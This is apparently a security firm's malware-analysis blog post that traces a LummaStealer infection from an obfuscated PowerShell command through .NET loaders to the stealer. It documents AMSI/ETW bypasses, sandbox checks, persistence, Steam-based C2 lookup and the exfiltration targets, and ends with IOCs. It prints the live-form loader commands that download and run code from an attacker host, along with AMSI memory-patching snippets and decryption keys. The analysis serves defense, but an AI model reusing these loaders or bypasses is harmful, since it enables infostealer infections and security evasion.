As part of its services, the IstroSec Managed Defense team provides threat-hunting capabilities, which recently led to the timely detection and mitigation of an active attacker campaign. Among our routine hunting queries is the analysis of PowerShell commands executed by users – a key method for uncovering suspicious activity.
In this particular case, the threat-hunting process was carried out using Microsoft Sentinel, which aggregates logs from various sources including Microsoft Defender for Endpoint, Microsoft Entra ID, and others. When our analyst identified a suspicious command execution, they reviewed the activity and promptly alerted the client’s designated contacts to initiate appropriate mitigation steps.
In this instance, the identified threat was LummaStealer – a type of infostealer malware first discovered in August 2022. Its primary goal is to extract sensitive information from infected devices, such as login credentials, banking data, cookies, cryptocurrency wallet information, and other personal details. Written in the C programming language, LummaStealer is known for its modular architecture, allowing it to be customized and extended with additional features.
The malware spreads through a variety of vectors including phishing emails, fake software updates, and compromised websites. Its developers regularly update its capabilities and distribution methods to evade detection by security solutions.
Currently, active campaigns are ongoing with attackers continuously seeking new ways to infect devices and harvest user data. During our deep-dive technical analysis, we uncovered the malware’s obfuscation and anti-detection techniques, revealing how it gradually reconstructs itself into its full form and how it exfiltrates stolen data to the attackers.
One particularly intriguing method LummaStealer uses for communication is its abuse of the Steam platform, where attackers hide their Command & Control (C2) server addresses in Steam profile names. The malware fetches these profiles, extracts the C2 addresses, and uses them to communicate and transmit stolen information. This technique allows attackers to dynamically change their C2 infrastructure, bypass traditional security mechanisms, and avoid detection tied to static domains.
Alongside our technical findings, this blog also outlines the tools and techniques we used during the investigation – including code deobfuscation and reverse engineering methods. We also provide an analysis of the domains the malware actively communicated with, offering a comprehensive view of how LummaStealer operates behind the scenes.
Command execution by the User
The user executed the following command:
c:\windows\system32\windowspowershell\v1.0\powershell.exe
"powershell.exe" -w 1 -ep Unrestricted -nop function NPmFjuqW($SunqQLgp){-split($SunqQLgp -replace '..', '0x$& ')};$aMDtV=NPmFjuqW('FFAC95C81568E1F565F8ABDF8DEED0564BE00D61A3E ... 5C23429B29C6145CDEAD65E3542929');$epht=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((NPmFjuqW('616D69546F764154716653685445596C')),[byte[]]::new(16)).TransformFinalBlock($aMDtV,0,$aMDtV.Length)); & $epht.Substring(0,3) $epht.Substring(3)
The command revealed the use of the AES encryption algorithm: Security.Cryptography.Aes
The code utilizes three key variables:
- Encrypted data
FFAC95C8160DAE3E32E664423057341D6844F1D104385EE5F1CE21FC08524F0095302D71A3B774ADE21DBD23621F1511694E9C24C1F574DBC312FEDBABD222D0AB253F41A54FE1CFE4AF3F073DD2CC2CA5DEFB9E186D1E535EC3C4DCF46311F6D28EC4BD37DBC9F5CFFFEBBC5034DF99FA2FB2524F355EF4B81B124F989C5F61A618D2637C368E5C472F63B62EEE1CE7728C0932759927597095CD3FB3FD76FF7B30EB0AAA3CCAF5E011667404AF82E2FC720AD12865B62404B5812841FF21BC5D9D0F67839479D841C8BE5B5F6106B81B364F470BE4EBCF6DC33C9880060F227F5B4F00D2588F51A734CCF68B521C29310B708E484BA2855A30D8C35C8C17F96961A203C03AE31DEE3B14F423A5BC120BF2BD2382A7B144C6A7AFD359AF1835C02367D7A4719C527A86B448D671379CD37E3E2EFB110311A3C835D18CE6AB4229EDB66BFB2566AC3D49DE776EE255BA07D9F9E8D2830203ADFAD92CC47561A0240ACDA3D29D46BD93B6B671E3F179ACA84692DBAEA5EB90212E3E6C99BED75322D5AE757F0EFBCAAB9BFE133F02F8BE833AD941867DADF38940B6E79861FFCB2B436FDEEAD0B41A1E31687A6B6B6350EB7B01CB7898FC3A1EFB027155ED83A19CAF845CD805ED49E716F65EF196D1217A3576BDF9F0CB6225DEEAC9CED4BBD2AB0F74CE9E84A1BD97D8632B34F94759B1C98ECD0BF6E71E2DE31EE5837A801AA6B83FF11D0839611BDF6E2E4A9D5FDA47755A724DD10D3725DD130746417A25AF5EEA5772F38F98C28C39C68F20B6DB22F6647EC54481F8AE6A705BC04418B945C71F88C40B481FB3C5FA670F6BD3C8DE96EB3426C8ED81910C61E34E465125EDAC726A0C6EB67FBAC1006FD28BCEBE187C4C1EC9865EA5B1F00EDC7FB7DE0A7391B3286D57EED24460496459B6635189A896FED83CCEC4E1555A1D1DBA2AC727D710EF317F2E9B778D1791632F0411382D2FEF62E5E5DAF96CB132C2550612DF16B2E0C296513B3999B99471A8377E6A67779088A9E999B6267BF31537EEF568E1F565F8ABDF8DEED0564BE00D61A3E829549F21D37B1F0F0A66337A36AC4B4DEA8604B452801ABC6C006EB5B6600FF706D376D339BFF81B3A1744571FDF08028DE3729798959F0B9B2FB537A6265FB378AC17062CF75A730C22FED25F71C93CB5B06E7515CE01738775BD926B73B9370268763BCAA43177156CCF97464BC9CF894318A38EEBCA5192D9BF28A228E4505D25EF03E13043CA6B251D9D1BE3296482C16B137D643BE30219C87B41471C40C614515DEB0CC536816B388338A38E435C23429B29C6145CDEAD65E3542929
- Key
616D69546F764154716653685445596C
- An initialization vector consisting of 16 null bytes
00000000000000000000000000000000
The code automatically decrypts the data and then executes it again.
Decrypted data
After decrypting the initial malicious command, another PowerShell script was retrieved:
iexStart-Process "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-w','hidden','-ep','bypass','-nop','-Command','SI Variable:/eR ([Net.WebClient]::New());SI Variable:1VI ''hxxps://scionoutmatchsmoked[.]shop/b313d4a4588bd2e7bc9ece877caba58a.png'';.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand|Get-Member|?{$\_.Name -ilike ''\*d''}).Name)($ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|?{$\_.Name -ilike ''\*Com\*e''}).Name)(''\*-Ex\*n'',1,$TRUE),[System.Management.Automation.CommandTypes]::Cmdlet)(GV eR).Value.(((([Net.WebClient]::New()|Get-Member)|?{$\_.Name -ilike ''\*nl\*g''}).Name))((Get-ChildItem Variable:/1VI).Value)';$YQllGjC = $env:AppData;function mgYjmdblp($LkwJcqXh, $wzHtGpjNY){curl $LkwJcqXh -o $wzHtGpjNY};function tZqiChQ(){function lSRS($umqr){if(!(Test-Path -Path $wzHtGpjNY)){mgYjmdblp $umqr $wzHtGpjNY}}}tZqiChQ;
The most critical part of this code is the URL
hxxps://scionoutmatchsmoked[.]shop/b313d4a4588bd2e7bc9ece877caba58a[.]png
This specific URL hosts a heavily obfuscated PowerShell script that carries out additional malicious activities. The script is subsequently executed by the previous command, allowing the attack to progress.
Obfuscated script
The obfuscated malicious script contained approximately 68,000 lines, the majority of which resembled the following screenshot:

Figure 1 - Obfuscated Powershell script
The most critical sections of the script were located towards the end, specifically:
- Data encrypted using the XOR algorithm and additional operations:
[Byte[]]$dsahg78das = 83,50,53,122,68,84,111,48,76,
....
....
....
9,71,108,107,65,87,86,54,89,65,61,61;
In this manner, a large sequence of three-digit numbers was stored in the $dsahg78das variable.
- Decryption function
$qxvCMUfL = ($olmLabXpFVjDi -as [Type])::$AtYFioCQy.$jnWcLtTbZUSzI("$gdfsodsao");
$hDxQkAdLmfGFYz = ($olmLabXpFVjDi -as [Type])::$AtYFioCQy.$jnWcLtTbZUSzI(
($olmLabXpFVjDi -as [Type])::$AtYFioCQy.$fXGShHvyZIux(
($UKwdjgQoF -as [Type])::$CEHRbAwUriGY(
($olmLabXpFVjDi -as [Type])::$AtYFioCQy.$fXGShHvyZIux($dsahg78das)
)
)
);
(($xyQOClkJeMZuzb -as [Type])::($HcvBMwFDg)(
(($olmLabXpFVjDi -as [Type])::$AtYFioCQy.$fXGShHvyZIux(
$(for($i=0;$i-lt$hDxQkAdLmfGFYz.$yEnJwgIfxat;){
for($j=0;$j-lt$qxvCMUfL.$yEnJwgIfxat;$j++){
$hDxQkAdLmfGFYz[$i]-bxor$qxvCMUfL[$j];
$i++;if($i-ge$hDxQkAdLmfGFYz.$yEnJwgIfxat){
$j=$qxvCMUfL.$yEnJwgIfxat
}
}
}))))).($iAkFLPWRlV)()
After deobfuscating the script, the following variables and their assigned values were identified:
$yEnJwgIfxat = length
$gdfsodsao = AMSI_RESULT_NOT_DETECTED
$CEHRbAwUriGY = FromBase64String
$fXGShHvyZIux = GetString
$xyQOClkJeMZuzb = Scriptblock
$HcvBMwFDg = Create
$jnWcLtTbZUSzI = GetBytes
$AtYFioCQy = UTF8
$AkFLPWRlV = Invoke
$UKwdjgQoF = System.Convert
$olmLabXpFVjDi = System.Text.Encoding
The deobfuscated code revealed that the script utilizes XOR encryption along with AMSI bypass. The input data stored in the variable $dsahg78das is first decoded using Base64 and converted into bytes.
Note: AMSI bypass is a technique used by malware to evade Windows security checks. AMSI, or Antimalware Scan Interface, allows antivirus solutions to inspect scripts and detect malicious code. However, attackers often circumvent it by manipulating memory or encrypting commands to avoid detection.
The variable $qxvCMUfL serves as the XOR key, which is generated from the value AMSI_RESULT_NOT_DETECTED converted into bytes via UTF-8. The key is then used in a loop where each byte of the encrypted data $hDxQkAdLmfGFYz is decrypted using the -bxor operation.
The resulting decrypted string is dynamically transformed into another PowerShell script using ScriptBlock::Create and is immediately executed via Invoke. The entire process allows antivirus detection to be bypassed, as decryption occurs in memory and the malicious code is executed without being written to disk.
Final PowerShell script
The script focuses on memory manipulation, searching for specific AMSI signatures and overwriting them to disable security mechanisms of the system. After disabling AMSI, it loads and executes a Base64-encoded assembly, which contains the executable malware.
For dynamic memory manipulation, the script utilizes structures and external methods defined via P/Invoke:
- VirtualQuery – retrieves information about memory regions
- ReadProcessMemory – reads process memory
- WriteProcessMemory – writes to memory
- VirtualProtect – temporarily modifies memory protection
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect", "kernel32.dll",
[bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi)
The script dynamically constructs a signature string composed of fragments of the AmsiScanBuffer name to prevent direct detection.
$a = "Ams"
$b = "iSc"
$c = "anBuf"
$d = "fer"
$signature = [System.Text.Encoding]::UTF8.GetBytes($a + $b + $c + $d)
It then iterates through memory regions to check if they contain the targeted signature AmsiScanBuffer:
foreach ($region in $memoryRegions) {
if (-not (IsReadable $region.Protect $region.State)) {
continue
}
$buffer = New-Object byte[] $region.RegionSize.ToInt64()
[void][Win32.Kernel32]::ReadProcessMemory($hProcess, $region.BaseAddress,
$buffer, $buffer.Length, [ref]$bytesRead)
}
If AmsiScanBuffer is found in memory, the script checks whether the region can be modified. If so, the signature is replaced with null bytes, effectively disabling AMSI protection:
$replacement = New-Object byte[] $signature.Length
[void][Win32.Kernel32]::WriteProcessMemory($hProcess, [IntPtr]::Add($region.BaseAddress, $k), $replacement, $replacement.Length, [ref]$bytesWritten)
After AMSI is disabled, a Base64-encoded assembly is loaded, then decoded and executed.
$a = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQ..."
$bytes = [System.Convert]::FromBase64String($a)
[Reflection.Assembly]$assembly = [System.AppDomain]::CurrentDomain.Load($bytes)
$assembly.EntryPoint.Invoke($null, @())
The decoded Base64 contains a malicious .NET assembly, which is obfuscated again. The assembly is loaded directly into memory using System.AppDomain. It is executed without writing a file to disk, effectively bypassing antivirus detection.
The resulting decoded Base64 data exhibits clear characteristics of a binary file:

Figure 2 - beginning of the decoded binary file
First executable (.exe) file
Original file name: Ywkxgebbu.exe
SHA-256 file hash: b3265d21fd8e204bbd570e924afcf72c0562e8b0d40fb4ab65e9249f04956f24
Using Detect It Easy (DiE), we can determine that the file is a .NET application, but it is protected with the SmartAssembly obfuscator (https://www.red-gate.com/products/smartassembly).

Figure 3 - Output of Detect It Easy (DiE)
Since this is a .NET application, we will use the dnSpy tool, which can decompile it.
After loading the file into dnSpy, we right-click on the executable file name (Ywkxgebbu.exe) and select the option “Go to Entry Point”.

Figure 4 - Decompilation of Ywkxgebbu.exe with dnSpy
After decompiling the code, we can see that it is partially unreadable, as it is protected by the SmartAssembly obfuscator.

Figure 5 - Obfuscated Main() function
Removing SmartAssembly protection
To remove SmartAssembly protection, we can use the de4dot tool, which is capable of deobfuscating .NET executables.

Figure 6 - Deobfuscating Ywkxgebbu.exe with de4dot
After deobfuscation, we decompile the cleaned file “Ywkxgebbu-cleaned.exe” using dnSpy. This time, the code is more readable.

Figure 7 - Deobfuscated content of the Main() method
Executable File Code Analysis
After executing the file, the first method that runs is “Main”. This method contains two functionalities: downloading and decrypting a .dll file, which is then loaded into the program’s memory. The process of downloading and decrypting the new file is performed in the “Class4” class, specifically in the “s_method2” method.

Figure 8 - Downloading and Decrypting the File – Method Class4.s_method2()
After the file is downloaded from the URL “hxxps[://]www[.]mediafire[.]com/file_premium/p5lrhpnvhje0jgp/ytfs[.]wav/file”, it is decrypted using the AES-256 CBC algorithm. The encryption key and initialization vector (IV) are hardcoded within the application code, specifically in class Class0, under the attributes string_0 and string_1. These values can also be extracted from the file’s string data.
Base64-encoded key: “HFqkA5B2F14DvFJVGrXznawsiLhritkWE/Lu+CM1pq8=”
Base64-encoded initialization vector (IV): "+L+leIfSWDFUN1JKwN1HEQ=="

Figure 9 - Hardcoded Key and IV in the Attributes of Class0
We download the file “ytfs.wav” and simply decrypt it using a tool like CyberChef.

Figure 10 - Decrypting the New File Using CyberChef
This decrypted file is a DLL library, which is loaded into the memory of the application “Ywkxgebbu.exe”. Within this DLL, the application searches for a namespace named “blvVtg5N8fRYIhL0lh”, which contains the class “lr8iUHdtMmidM8HJrt”. It then uses reflection to locate the method “QhkWX3qwr”, creates a delegate (Action), and executes it.

Figure 11 - Loading the DLL Library – Method Class4.s_method5()

Figure 12 - Searching for a Specific Class in the DLL Library – Method Class4.s_method19()

Figure 13 - Searching for a Specific Method and Executing It – Method Class4.smethod_4()
DLL library
Original file name: Tglxfeswobr.dll
SHA-256 file hash: ef3e7109767e5c39781994773899a87260fca6f55f45abfe541ceb52489a52b9
This DLL library is once again protected, this time using the .NET Reactor obfuscator (https://www.eziriz.com/dotnet\_reactor.htm). To simplify our analysis, we need to deobfuscate the library.

Figure 14 - Output from Detect It Easy (DiE)
When opening this DLL library in dnSpy, we can see a large amount of obfuscated code. Additionally, we can view the Resources stored within the DLL.
Resources can contain not only graphical elements such as icons and buttons but also malicious code, which can be loaded and executed from them.

Figure 15 - DLL library – obfuscated main method with .NET Reactor

Figure 16 - Resources saved in Tglxfeswobr.dll
The application “Ywkxgebbu.exe” searches for and executes the “QhkWX3qwr” method of this DLL library, but before execution, this method appears to be empty.
However, if the class “lr8iUHdtMmidM8HJrt” contains a static constructor, the constructor’s code is executed before the “QhkWX3qwr” method runs.

Figure 17 - Empty method QhkWX3qwr
Since the class “lr8iUHdtMmidM8HJrt” contains a static constructor, the code within it is executed first.
The first method to run is “Lkk5TTdV9jTa7EmHgcg.I2C5mDTBld()”, which contains a large amount of obfuscated code related to searching for and progressively loading Resources stored within the DLL library.

Figure 18 - Static Constructor of the Class “lr8iUHdtMmidM8HJrt” – Obfuscated Code

Figure 19 - Obfuscated Code – Method Lkk5TTdV9jTa7EmHgcg.I2C5mDTBld()
Removing .NET Reactor Protection
To remove .NET Reactor protection, we can use the .NETReactorSlayer tool, which is capable of deobfuscating this type of obfuscator.

Figure 20 - Deobfuscator .NET Reactor
Main Functionality of the DLL Library
Note: For easier analysis, class and method names have been renamed based on their functionality, and method arguments have been changed from obfuscated to meaningful text.
After deobfuscation, the “Tglxfeswobr_Slayed.dll” file is created, which can be loaded into the dnSpy decompiler.
During analysis, we found that all assemblies stored in Resources are first decrypted and then loaded. Additionally, some resources use the Costura tool (https://github.com/Fody/Costura), which embeds required dependencies into the DLL’s Resources in a “.compressed” format.
The main functionality is located in the originally decompiled class “GClass0”. At the beginning, one of the Resources is decrypted and decompressed. The data from this Resource is used to configure the “Class7” class, setting its methods and attributes to specific values. The malware later uses this configuration to determine whether it can execute certain actions.

Figure 21 - Main functionality of DLL library
How does the malware proceed after infiltrating the system?
After successfully infiltrating a system, the malware doesn’t immediately begin stealing data. Instead, its behavior is sophisticated and deliberate – it first carefully examines the environment it has landed in before taking any further action. Its operation unfolds in several distinct stages, each with a specific goal: to avoid detection, establish persistence, enable remote command execution, and ultimately deliver the main payload – LummaStealer.
In the following sections, we’ll take a closer look at each of these phases, shedding light on the level of complexity and modular design behind this malware. Every step reveals that LummaStealer isn’t just a simple infector – it’s a tool crafted for long-term, efficient exploitation of a compromised system.
Sandbox checks
Before executing any malicious activity, the malware first checks whether it is running in a sandbox environment used by security solutions or within a malware analyst’s setup. If it detects that it’s being analyzed in such an environment, it terminates itself and refrains from performing any harmful actions. This type of check is designed to hinder dynamic malware analysis and make detection and investigation more difficult.
In the method “MalwareChecker.is_malware_already_running()”, the malware checks whether an instance of itself is already running to prevent multiple executions.

Figure 22 - MalwareChecker.is_malware_already_running()
In the method “SandboxChecker().exit_if_sandbox()”, another method called “is_sandbox_debugger_virtualization_resolution_username()” is executed.

Figure 23 - SandboxChecker().exit_if_sandbox()
The method “is_sandbox_debugger_virtualization_resolution_username()” uses several techniques to detect the presence of a sandbox environment.
The first technique checks whether the process is being debugged using the function “CheckRemoteDebuggerPresent”.

Figure 24 - CheckRemoteDebuggerPresent
The second technique checks whether the malware is running in a sandbox environment. This detection is performed by searching for processes that have loaded the libraries “SbieDll.dll” (Sandboxie) or “cuckoomon.dll” (Cuckoo Sandbox).

Figure 25 - Sanbox enviroment check
The malware also detects whether the computer has two or fewer CPU cores, which could indicate that it is running in a sandbox environment.

Figure 26 - Processor check
The malware detects whether it was executed from the command line (cmd.exe).
Figure 27 - cmd.exe execution check
Next, the presence of a virtualization platform is checked.

Figure 28 - VM check
The screen resolution is also checked – a small or non-standard resolution could indicate that the environment is a sandbox.

Figure 29 - Display resolution check
It checks whether the operating system is not 32-bit – most modern devices have a 64-bit operating system.

Figure 30 - OS check
The user accounts are also checked – if the malware is running under the user “john”, “anna”, or if the username contains “xxxxxxxx”, it is considered a sandbox environment and the malware will terminate.

Figure 31 - username check
Next, the method EvasionSleep().wait_some_time() is called, which pauses the process for 999 milliseconds. This behavior may indicate an attempt to bypass security solutions. The delay can help the malware evade detection mechanisms that monitor for suspicious activity immediately after process execution.
Figure 32 - EvasionSleep().wait_some_time()
AV/EDR Evasion
As part of the Evasion, several methods are called to allow the execution of malicious commands and disable logging used by EDR systems.
The first method called is “AmsiPatcher().patch_AMSI()”, which aims to disable AMSI protection. It first locates the address of the “AmsiScanBuffer” function within the “amsi.dll” library. Then, it patches this function with the AMSI bypass payload, which it retrieves from the method “getAMSIPayload_32or64bit_OS()”, depending on whether the operating system is 32-bit or 64-bit.

Figure 33 - AmsiPatcher().patch_AMSI(), getAMSIPayload_32or64bit_OS()
Next, the method “EtwPatcher().patch_Etw()” is called, which aims to patch Event Tracing for Windows (ETW), a mechanism used for collecting logs by EDR systems.
This method searches for the address of the “EtwEventWrite” function within the “ntdll.dll” library. It then retrieves the ETW bypass payload from the method “getETWPayload_32or64bit_OS()” and attempts to patch the found function, effectively stopping the logging of malicious activity on the system.

Figure 34 - EtwPatcher().patch_Etw(), getETWPayload_32or64bit_OS()
As part of the next activity, the method “Ntdll_Kernel32_unhooker().unhook_ntdll_and_kernel32()” is called, which aims to unhook “ntdll.dll” and “kernel32.dll” if the system is running Windows 10 or higher. This method then calls the “unhook_dll()” method.

Figure 35 - Ntdll_Kernel32_unhooker().unhook_ntdll_and_kernel32()
The method “unhook_dll()” modifies the mapping of the requested library (“ntdll.dll” or “kernel32.dll”), resulting in the unhooking of the parts of the DLL that the EDR system hooks for security monitoring.

Figure 36 - unhook_dll()
Next, the method “DefenderExclusion().add_defender_exclusion()” is called, which aims to add an exclusion for the malware. To add the exclusion, a PowerShell command is encoded in Base64 and then executed via PowerShell.

Figure 37 - DefenderExclusion().add_defender_exclusion()
Execution
The malware can execute commands, provided that the configuration found in the Class7 class allows it. This configuration was discussed in the section “Core Functionality of the DLL Library.” Additionally, the malware can create a separate file and execute it.
The method PowershellExecuter().execute_powershell() is responsible for executing PowerShell commands, if such commands are defined in the malware’s configuration.

Figure 38 - PowershellExecuter().execute_powershell()
The method “MalwareDropper().save_malware_tempFolder_and_run()” allows the malware to save another malware in the Temp folder and then execute it. This is only done if the malware configuration permits it.

Figure 39 - MalwareDropper().save_malware_tempFolder_and_run()
The method “ExplorerInjector().duplicatehandle_injection_explorer()” is capable of obtaining the process handle of “explorer.exe” and executing the malware on its behalf.

Figure 40 - ExplorerInjector().duplicatehandle_injection_explorer()
The method “DecompressorInjector().decompress_and_inject_payload()” is capable of injecting malicious code, if it is configured to do so in the malware configuration.

Figure 41 - DecompressorInjector().decompress_and_inject_payload()

Figure 42 - PayloadInjector class

Figure 43 - PayloadInjector class
Persistence mechanisms
The malware attempts to establish persistence in order to remain active on the system even after a device restart. This allows the attacker to maintain long-term access and control over the infected machine, enabling continued malicious activity without needing to reinfect the system.
The method “Persistence().persistence_regRunKey_taskScheduler_startupFolderVBS()” is responsible for setting up persistence, if it is enabled in the malware’s configuration. It achieves this by creating a registry key at “SOFTWARE\Microsoft\Windows\CurrentVersion\Run”, scheduling a new task, or placing a .vbs script in the Startup folder.

Figure 44 - Persistence - Run key

Figure 45 - Persistence - Scheduled task, Startup folder
LummaStealer download & execution
The method “LummaDownloader().prepare_and_download_lumma()” ensures the execution of the LummaStealer malware. If the malware configuration contains the encrypted LummaStealer, it will decrypt and execute it; otherwise, LummaStealer is downloaded from a web location and then executed. In our case, the LummaStealer was encrypted within the malware configuration.
The method “prepare_and_download_lumma()” first calls the method “download_lumma()”, which either retrieves the LummaStealer malware from the configuration or downloads it. Afterward, the “prepare_and_download_lumma()” method executes the prepared LummaStealer malware.

Figure 46 - LummaDownloader().prepare_and_download_lumma()

Figure 47 - download_lumma()
Self-deletion
After the malware carries out its malicious activity, the installer is deleted (method “FileRemover().remove_file()”), and the process terminates, as it has already fulfilled its objective. It has infected the device with LummaStealer malware and ensured potential persistence on the victim’s system.

Figure 48 - FileRemover().remove_file()

Figure 49 - Self-deletion
LummaStealer malware
SHA-256 file hash: 93d5effb71e0ea93c2243ba5df532e4ef901b22893cc54e3edd5c2d0c35e3338
The extracted LummaStealer malware was no longer protected by any obfuscator.

Figure 50 - Output of Detect It Easy (DiE)
The LummaStealer malware contains several strings indicating its activities, including exfiltration of email inboxes and browser data (such as history, saved passwords, and cookies) using the HTTP protocol. The strings also include a link to a Telegram profile and the creation date of the malware (“Feb 6 2025”).

Figure 51 - LummaStealer strings – floss output
Obtaining C2 Domains Using the Steam Platform
During the analysis of the LummaStealer malware, we observed HTTPS requests to the URL “hxxps[://]steamcommunity[.]com/profiles/76561199822375128”. This is an account on the well-known gaming platform Steam, where the user account name can be found.
This account name hides a C2 domain that LummaStealer will later connect to. The malware makes a request to the Steam profile, retrieves the username, and then shifts each character by 15 positions in the alphabet – for example, the letter “a” becomes “p”, and so on. The decrypted domain is then used by the malware for C2 communication.

Figure 52 - Steam account used for obtaining C2 domains
A simple Python script that can shift letters by 15 and thereby obtain the C2 domain:
def decode_c2_domain(encoded_c2_domain):
decoded_c2_domain = ""
for char in encoded_c2_domain:
if 'a' <= char <= 'z':
decoded_c2_domain += chr(((ord(char) - ord('a') - 11) % 26) + ord('a'))
elif 'A' <= char <= 'Z':
decoded_c2_domain += chr(((ord(char) - ord('A') - 11) % 26) + ord('A'))
else:
decoded_c2_domain += char
# result = "decoded C2 domain: exploreth.shop"
print(f"decoded C2 domain: {decoded_c2_domain}")
# steam nickname:
encoded_c2_domain = "piawzcpes.dsza"
decode_c2_domain(encoded_c2_domain)
Communication with C2 server
In order to communicate with this C2 domain, we must make an HTTP POST request to the endpoint “/api”. The request must include a hardcoded value for the HTTP header “User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36”, and we must use the POST parameter “act”.
The value of the POST parameter “act=life” is used to inform the C2 server that a successful connection has been established between the malware and the C2 server.

Figure 53 - First communication with C2 server
The value “act=receive_message&lid=…” returns the LummaStealer malware configuration, which contains settings on what the malware should exfiltrate from the victim’s computer. The “lid” parameter represents the LummaStealer device ID on which the malware was executed.
This configuration is Base64 encoded and XOR encrypted, with the first 32 bytes of the decoded text being used as the encryption key.

Figure 54 - Obtaining C2 server configuration

Figure 55 - Decrypted stealer configuration
The retrieved LummaStealer malware configuration ensures the exfiltration of sensitive information from various browsers and applications. The browsers targeted for exfiltration, including their extensions and files, are Google Chrome, Mozilla Firefox, Opera, Brave, Microsoft Edge, and Chromium, which store various data such as saved passwords, cookies, history, and profile information.
Additionally, various cryptocurrency wallets and authentication applications are exfiltrated, such as MetaMask, Coinbase, TrustWallet, BinanceChainWallet, Authy, Phantom, and others, which manage access keys and authentication for online accounts and cryptocurrencies.
Furthermore, files and settings from applications like AnyDesk, Electrum, Telegram, FileZilla, and Steam are exfiltrated, which may contain sensitive data such as keys, or access information for various services.
Here’s the list of all exfiltrated applications, browsers, and their extensions:
Browser extensions:
Auro | DAppPlay | Keplr |
Authenticator | EnKrypt | KHC |
Authy | EOSAuthenticator | Leaf |
BinanceChainWallet | EQUA | Liquality |
BitApp | GAuthAuthenticator | Math |
BitClip | Guarda | MetaMask |
Byone | Guild | MEWCX |
Clover | HyconLiteClient | Nabox |
Coin98 | ICONex | NashExtension |
Coinbase | iWlt | NeoLine |
Cyano | JaxxLiberty | Nifty |
OneKey | SteemKeychain | TronLink |
Phantom | Temple | TrustWallet |
Polymesh | TerraStation | UniSat |
RoninWallet | TezBox | Wombat |
Saturn | TrezorPasswordManager | Yoroi |
Sollet | ZilPay | |
File names:
%appdata%\AnyDesk | %appdata%\OperaSoftware\OperaStable |
%appdata%\atomic\LocalStorage\leveldb | %appdata%\TelegramDesktop |
%appdata%\AuthyDesktop\LocalStorage\leveldb | %localappdata%\BraveSoftware\Brave-Browser\UserData |
%appdata%\Binance | %localappdata%\Chromium\UserData |
%appdata%\Bitcoin\wallets | %localappdata%\CocCoc\Browser\UserData |
%appdata%\com.liberty.jaxx\IndexedDB | %localappdata%\CocCoc\Browser\UserData |
%appdata%\Electrum\wallets | %localappdata%\Coinomi\Coinomi\wallets |
%appdata%\Ethereum | %localappdata%\Comodo\Dragon\UserData |
%appdata%\Exodus\exodus.wallet | %localappdata%\Google\Chrome\UserData |
%appdata%\FileZilla | %localappdata%\Kometa\UserData |
%appdata%\LedgerLive | %localappdata%\Microsoft\Edge\UserData |
%appdata%\Mozilla\Firefox\Profiles | %programfiles%\Steam |
%appdata%\OperaSoftware\OperaGXStable | %programfiles%\Steam\config |
%appdata%\OperaSoftware\OperaNeon\UserData | %userprofile% |
C2 Domain Analysis
The attackers continuously create new domains that they exploit for C2 communication. For registration, they use email addresses from the inbox.eu service. Within the C2 infrastructure, they abuse Cloudflare services to hide the real IP addresses of the C2 servers. A list of domains identified by us can be found in the IOCs section.
![WHOIS domains exploreth[.]shop](/images/blog/lumma-stealer-image109.png)
Figure 56 - WHOIS domains exploreth[.]shop
Resources
https://github.com/ViRb3/de4dot-cex
https://gchq.github.io/CyberChef/
https://github.com/SychicBoy/NETReactorSlayer
https://github.com/mandiant/flare-floss
https://github.com/jozefizso/apimonitor
IOCs
Type | Value |
---|---|
Domain | actiothreaz[.]com |
Domain | breedertremnd[.]com |
Domain | commerceddecker[.]run |
Domain | cxheerfulriver[.]pics |
Domain | disobilittyhell[.]live |
Domain | entereddeacr[.]run |
Domain | exploreth[.]shop |
Domain | garulouscuto[.]com |
Domain | grainybande[.]life |
Domain | importenptoc[.]com |
Domain | inputrreparnt[.]com |
Domain | jewellycotten[.]digital |
Domain | marathinwulke[.]today |
Domain | mycampdrivers[.]bet |
Domain | pgldrop24[.]pro |
Domain | presentymusse[.]world |
Domain | rebeldettern[.]com |
Doména | scionoutmatchsmoked[.]shop |
Domain | torpdidebar[.]com |
Domain | voicesharped[.]com |
Domain | wealthestored[.]icu |
makkendozfup1@inbox[.]eu | |
tolyakoshmar0@inbox[.]eu | |
File (SHA-256 hash) | 632f70ee1eb03fe8a11230c04cb8c96331b9c6d475fd469f0268d2de82c54857 |
File (SHA-256 hash) | b3265d21fd8e204bbd570e924afcf72c0562e8b0d40fb4ab65e9249f04956f24 |
File (SHA-256 hash) | ef3e7109767e5c39781994773899a87260fca6f55f45abfe541ceb52489a52b9 |
File (SHA-256 hash) | 93d5effb71e0ea93c2243ba5df532e4ef901b22893cc54e3edd5c2d0c35e3338 |
HTTP POST parameter | act=life |
HTTP POST parameter | act=receive_message&lid= |
HTTP POST parameter | act=recive_message&lid= |
URL | hxxps[://]steamcommunity[.]com/profiles/76561199822375128 |
User-Agent | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 |